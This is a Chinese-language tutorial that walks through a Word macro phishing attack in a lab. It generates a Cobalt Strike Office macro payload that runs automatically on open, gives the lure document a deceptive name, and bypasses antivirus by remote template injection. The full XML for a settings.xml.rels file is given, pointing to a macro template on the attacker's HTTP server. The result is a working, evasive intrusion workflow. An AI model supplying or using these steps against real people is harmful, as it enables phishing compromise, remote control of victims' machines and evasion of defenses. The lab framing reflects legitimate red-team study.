Word文档注入宏实现钓鱼复现
网上很多相关的文章,但都不是很细节,遇到了一些问题,在这里统一汇总一下。
前期准备
- 环境准备:
一台kali用于使用CS、一台靶机、一台vps服务器(这里使用kali)
Word使用系统自带的Word2007
开始复现
- 首先启用Word的开发工具选项
- 创建一个doc或者docx文档,起一个混淆的名字。
- 打开kali,运行cs,创建Lisenter,点击Attacks-Packages-MS Office Macro选择监听者,然后复制
- 打开doc,点击开发工具里的Visual Basic将刚刚复制的内容粘贴到ThisDocumnet中,右上角选择Auto_open,意味着点开文件自动启用宏
ctrl+s保存后会提示,选择否即可,另存为dotm文件
保存完毕之后右键打开doc文件
点左上角弹出安全警告 ,点击选项,选择启用此内容,确定。
可以看到靶机已经上线了,说明步骤没问题。
- 因为单纯的注入宏一般的杀毒软件都会爆毒,接下来尝试绕过
目前桌面存在以上两个文件,将dotm文件保存到kali某目录下,这里我放在桌面
注意!一定要在该目录下,开启kali的http服务。因为是在内网复现,这里kali充当VPS服务器也可以(暂时不想买)。
6.新建一个docx文档(建议用docx),起一个响亮的名字保存之后,修改后缀名,由.docx改为.zip
双击打开该压缩包,来到\word\_rels目录下
可以看到这里只有一个.rels文件,我们再新建一个settings.xml.rels
编辑内容为
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="http://xxxx/jianli.dotm"
TargetMode="External"/>
</Relationships>
- 将该文件拖到压缩包的\word\_rels目录下
- 返回上级目录,找到settings.xml文件,用记事本打开
插入标签,id为上一步保存的Id
<w:attachedTemplate r:id="xxxx"/>
- 保存修改之后,重新将.zip修改为.docx,打开文件
不管点确定还是关闭,只要点击安全警告启用宏,即可上线